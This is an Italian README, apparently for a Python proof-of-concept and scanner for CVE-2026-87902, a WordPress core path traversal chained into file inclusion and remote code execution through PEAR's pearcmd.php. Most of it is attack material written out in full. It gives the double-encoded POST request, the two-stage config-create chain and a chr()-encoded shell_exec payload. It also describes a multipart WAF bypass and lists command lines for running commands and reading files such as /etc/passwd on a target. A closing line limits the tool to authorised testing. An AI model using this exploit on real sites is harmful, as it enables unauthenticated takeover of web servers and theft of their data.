
PoC e scanner in Python per CVE-2026-87902, un path traversal nel core di WordPress che porta a LFI e RCE basato su PEAR, con bypass del WAF e sfruttamento automatizzato.
| Campo | Valore |
|---|
| CVE | CVE-2026-87902 |
| CVSS | 9.2 (Critico) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| CWE | CWE-98 — Controllo improprio del nome file per Include/Require |
| Affected | WordPress 4.7.0 – 7.1.1 |
| Fixed | WordPress 7.1.2 + backport a tutti i branch supportati |
| Auth | Nessuna (non autenticata) |
get_page_template() in wp-includes/template.php chiama urldecode() sul parametro di query pagename dopo che la sanitizzazione è già stata eseguita. Una sequenza ../ con doppia codifica (%252E%252E%252F) passa attraverso la prima decodifica di PHP come %2E%2E%2F, sopravvive a sanitize_title_with_dashes() (che preserva le sequenze %xx), e viene poi decodificata dalla chiamata tardiva urldecode() di WordPress in ../ — uscendo dalla directory del tema.
Il metodo POST è richiesto perché redirect_canonical() ritorna anticipatamente per le richieste non-GET/HEAD, impedendo che il percorso venga normalizzato prima di raggiungere il codice vulnerabile.
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
page_id=2&pagename=templates%25252E%25252E%25252F%25252E%25252E%25252F...%25252Findex
1. PHP decodifica il corpo POST: templates%252E%252E%252F%252E%252E%252F...%252Findex
2. WP sanitize preserva: templates%2E%2E%2F%2E%2E%2F...%2Findex
3. get_page_template() urldecode(): templates/../../../index
4. locate_template() risolve: wp-content/themes/<theme>/page-templates/../../../index.php
5. file_exists() riesce → include() esegue il file
.php arbitrari al di fuori della directory del tema vengono inclusi ed eseguitipearcmd.php (richiede PEAR installato + register_argc_argv=On)Due richieste POST anonime consentono di ottenere RCE:
Stage 1 — Includere pearcmd.php tramite traversal. La query string /?+config-create+/<php-payload>+<output>.php diventa l'argv di PEAR. Il comando config-create scrive dati controllati dall'attaccante (inclusi tag PHP) in una directory scrivibile.
Stage 2 — Includere il file scritto da PEAR. Il PHP incorporato viene eseguito con i privilegi del web server.
I payload PHP usano la codifica chr() (<?=shell_exec(chr(105).chr(100))?>) per evitare i caratteri di quoting che wp_magic_quotes() sfuggirebbe.
cve-2026-87902.py — checker automatizzato + scanner LFI + exploit RCE PEAR. Usa http.client per un controllo byte-esatto delle richieste (nessuna ri-codifica da parte di librerie).
Python 3.6+ (solo libreria standard — nessuna dipendenza pip)
# Verifica solo la vulnerabilità
python3 cve-2026-87902.py https://target.com --check
# Verifica con bypass WAF (multipart/form-data)
python3 cve-2026-87902.py https://target.com --check --multipart
# Specifica l'ID pagina e la profondità del traversal
python3 cve-2026-87902.py https://target.com -p 42 --depth 7
# Scansione LFI (target predefiniti)
python3 cve-2026-87902.py https://target.com
# Scansione LFI con file personalizzati
python3 cve-2026-87902.py https://target.com -f etc/passwd wp-includes/pluggable
# RCE tramite catena PEAR
python3 cve-2026-87902.py https://target.com --rce "id"
# Leggere un file tramite RCE
python3 cve-2026-87902.py https://target.com --read /etc/hostname
# Opzioni complete
python3 cve-2026-87902.py https://target.com --rce "whoami" \
--pear /usr/local/lib/php/pearcmd \
--output /tmp/wp-rce-payload \
--multipart --timeout 30
page-*--multipart avvolge il payload in multipart/form-data per eludere il pattern matching del WAFchr()| Marcatore | Significato |
|---|---|
[HIT] | Il file è stato incluso con successo |
[---] | Risposta normale (file non incluso) |
[???] | La risposta differisce significativamente — da investigare |
[WAF] | Bloccato dal WAF (403) |
[ERR] | Connessione fallita |
page-* (es. page-templates/)pearcmd.php di PEAR leggibile + register_argc_argv=On + /tmp scrivibileAggiornare a WordPress 7.1.2 o all'ultima release di sicurezza per il proprio branch (backport disponibili fino alla 4.7).
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e ricerca su bug bounty. Usalo solo contro sistemi per i quali hai esplicita autorizzazione a testare. L'accesso non autorizzato a sistemi informatici è illegale.